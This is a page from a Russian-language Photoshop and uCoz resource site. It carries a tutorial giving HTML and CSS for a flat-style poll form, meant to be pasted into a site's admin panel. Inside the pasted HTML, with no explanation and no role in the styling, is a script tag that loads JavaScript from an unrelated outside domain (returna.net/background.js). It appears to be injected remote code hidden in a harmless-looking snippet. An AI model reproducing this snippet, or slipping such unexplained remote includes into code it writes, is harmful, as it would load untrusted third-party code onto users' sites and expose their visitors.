Добро пожаловать в прекрасный мир фотошопа! Здесь можно скачать бесплатно без регистрации только лучшее для Photoshop - кисти, стили, текстуры, градиенты, рамочки, футажи, разнообразные фоны для коллажей и многое другое... :)
Меню сайта

Категории
Скачать Фотошоп
Кисти
Стили
Текстуры, заливки
Фоны, обои
Клипарт
Градиенты
Шаблоны, рамки
PSD Исходники
Экшены
Плагины
Фигуры
Скрап наборы
Шрифты
Вектор
Футажи
Уроки Фотошоп
Программы
Арт, Живопись, Картинки
Анимация
Скрипты для Ucoz

Фото в рамку

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Яндекс цитирования

Форма входа

Наш баннер
    Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте.

    Ваш Дизайн



    I'm on deviantART

    Мы всегда рады Вам

      ---

        Популярное
        Best HD Wallpapers Pack №711
        Best HD Wallpapers Pack №711
        Cкачать Календарь на 2013 год - Природное очарование
        Cкачать Календарь на 2013 год - Природное очарование
        Клипарт в  Png  – Алфавит золотом для вашего творчества
        Клипарт в Png – Алфавит золотом для вашего творчества
        футажи природа -Море,под водой
        футажи природа -Море,под водой
        Переливающиеся сверкающие стили
        Переливающиеся сверкающие стили
        Женская рамка ваза с розами, на две фото
        Женская рамка ваза с розами, на две фото
        Клипарт красные вишенки (прозрачный фон)
        Клипарт красные вишенки (прозрачный фон)
        Кисти для Photoshop - Волнистые элементы для рамочек
        Кисти для Photoshop - Волнистые элементы для рамочек
        Footage Firm: HD Time Lapse Mountain Peaks
        Footage Firm: HD Time Lapse Mountain Peaks
        Рамка Жемчужная бездна
        Рамка Жемчужная бездна

        Главная » 2013 » Июнь » 29 » Вид опроса для uCoz, в стиле flat
        21:43
        Вид опроса для uCoz, в стиле flat
        Всем привет, давно я не уделял времени на улучшение внешнего вида формы опроса для uCoz, согласитесь надо бы исправить, а так как сейчас на просторах web дизайна популярен стиль flat, я подумал дайка я создам форму опросов именно в этом стиле..

        Для начала как и пололаеться, нам следует установить html каркас данного улучьшения для формы опроса, для этого заходим в Админ панель => Опросы => Управление дизайном модуля

        удаляем старый html код и устанавливаем новый:

        Код
        <div class="cell-poll">
          <div class="cell-poll-title">$QUESTION$</div>  
          <div class="cell-poll-answers">$ANSWERS$</div>
          <div class="cell-poll-link">
          <span>Ответов: <strong>$TOTAL_VOTES$</strong></span>  
          <a href="$RESULTS_LINK$" >Результаты </a>
          <b> | </b>
          <a href="$ARCHIVE_LINK$">Архив </a>  
          </div>  
        </div><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">  
          var color_poll = ["#5D9AD3","#E96465","#F6954E","#dd8cd2 ","#75D0ED ","#5BC254","#CFC72D","#DD3344","#FE9B6F","#4176B3","#8CC84B","#DD8CD2","#e9eb5b","#E96465","#75D0ED"];  
          $('.answer div div').each(function(i){  
          if(!color_poll[i]){color_poll[i] = '#F8F8F8';}  
          $(this).css({background:color_poll[i++]});  
          });  
        </script>


        Теперь нам осталось прописать css стили:

        Код
        /* Вид опроса для uCoz, в стили flat
        ------------------------------------------*/
        .cell-poll{
          float:left;
          width:230px;
          color:#666;
          background: #fff;
          padding: 10px 10px 10px 10px;  
          border: 1px solid #B6C0CD;  
          border-radius:5px;  
        }

        .cell-poll-title{
          float:left;
          width:100%;
          padding-bottom: 10px;
          border-bottom: 1px solid #B6C0CD;
          font:12px Verdana,Arial,Helvetica, sans-serif;
          font-weight:bold;
          text-align:center;
          color:#666;  
        }

        .cell-poll a {text-decoration:none; outline:none}

        .cell-poll-answers{
          float:left;
          width:100%;
          margin: 10px 0px 10px 0px;  
          text-align:left;
        }

        .answer{
          float:left;
          width:100%;
          color:#f8f8f8;
          position:relative;
          height:20px!important;
          padding: 2px 0px 2px 0px;  
          margin: 0px 0px 7px 0px;  
          background: #f8f8f8;
        }

        .answer input{margin: 3px 5px 2px 5px;}
        .answer label {margin: 2px 0px 2px 0px; color:#555;}

        .answer div{
          height:20px!important;
          padding: 2px 0px 2px 0px;  
          position:absolute;
          z-index:998;
          top:0px;
          left:0px;
          width:100%;
        }  
           
        .answer span{
          float:right;
          height:14px!important;
          margin-right: 2px;  
          padding: 2px 5px 2px 5px;  
          color:#666;  
          position:relative;
          top:1px;
          left:0px;
          z-index:999;
          background: #fff;

        }  

        .pollBut{
          cursor:pointer;
          border:none!important;  
          margin-top:10px;
          background: #64b0db!important;  
          padding: 5px 20px 5px 20px!important;  

          font:11px Verdana,Arial,Helvetica, sans-serif!important;  
          font-weight: bold!important;  
          color:#fff!important;  
        }

        .pollBut:active {box-shadow:inset 0px 0px 3px #166693!important;}
        .pollBut:hover {background:#51a4d2!important;}

        .cell-poll-link{
          float:left;
          width:100%;
          padding-top: 10px;
          border-top: 1px solid #B6C0CD;
           
          font:9px Verdana,Arial,Helvetica, sans-serif;
          color:#999;
        }

        .cell-poll-link span{float:left;}
        .cell-poll-link b,
        .cell-poll-link a {float:right;}
        .cell-poll-link b {color:#B6C0CD;}


        Вот и всё, наш вид опроса для системы uCoz в стиле flat готова.

        На этом всё спасибо за внимание!
        Категория: Скрипты для Ucoz | Просмотров: 474 | Добавил: DoG | Рейтинг: 0.0/0
        Всего комментариев: 0
        Добавлять комментарии могут только зарегистрированные пользователи.
        [ Регистрация | Вход ]
        Поделиться

        Поиск

        Новогодние рамки

          Календарь

          Архив записей

          Мини профиль
            Вторник
            28.05.2024
            17:21

            [ Управление профилем ]

            Друзья сайта
             DiZona – все для Photoshop
             Стиль Photoshop
             Фотошо+Я
            I'm on deviantART

            Новости сайта
            Скрап-набор для фотошопа - Весенний
            Скрап-набор для фотошопа - Весенний
            Детская фоторамка psd - Маленькие медвежата
            Детская фоторамка psd - Маленькие медвежата
            Скачать The Big Day — After Effects Project
            Скачать The Big Day — After Effects Project
            Осенние композиции – Грибочки Мухоморчики …
            Осенние композиции – Грибочки Мухоморчики …
            Женская рамка с кроликами на полянке
            Женская рамка с кроликами на полянке
            Многослойные календари на 2013 -  Живая красота, как наша жизнь - похожа на цветок
            Многослойные календари на 2013 - Живая красота, как наша жизнь - похожа на цветок
            Скачать Школьная рамка для фото – Выпускник 2012
            Скачать Школьная рамка для фото – Выпускник 2012
            Детская рамка для фотошопа - Игривый малыш котенок
            Детская рамка для фотошопа - Игривый малыш котенок
            Рамка для фото - Осенняя мелодия
            Рамка для фото - Осенняя мелодия
            Календарь-шаблон детский на 2013 год - Принц и принцесса
            Календарь-шаблон детский на 2013 год - Принц и принцесса

            Шаблоны для фотомонтажа Шаблоны для фотомонтажа
            "Professional"

            - Костюмы
            - Календари
            - Виньетки
            - Обложки на DVD
            - Рамки
            - Клипарты
            - Коллажи


            Copyright MyCorp © 2024
            Создать бесплатный сайт с uCoz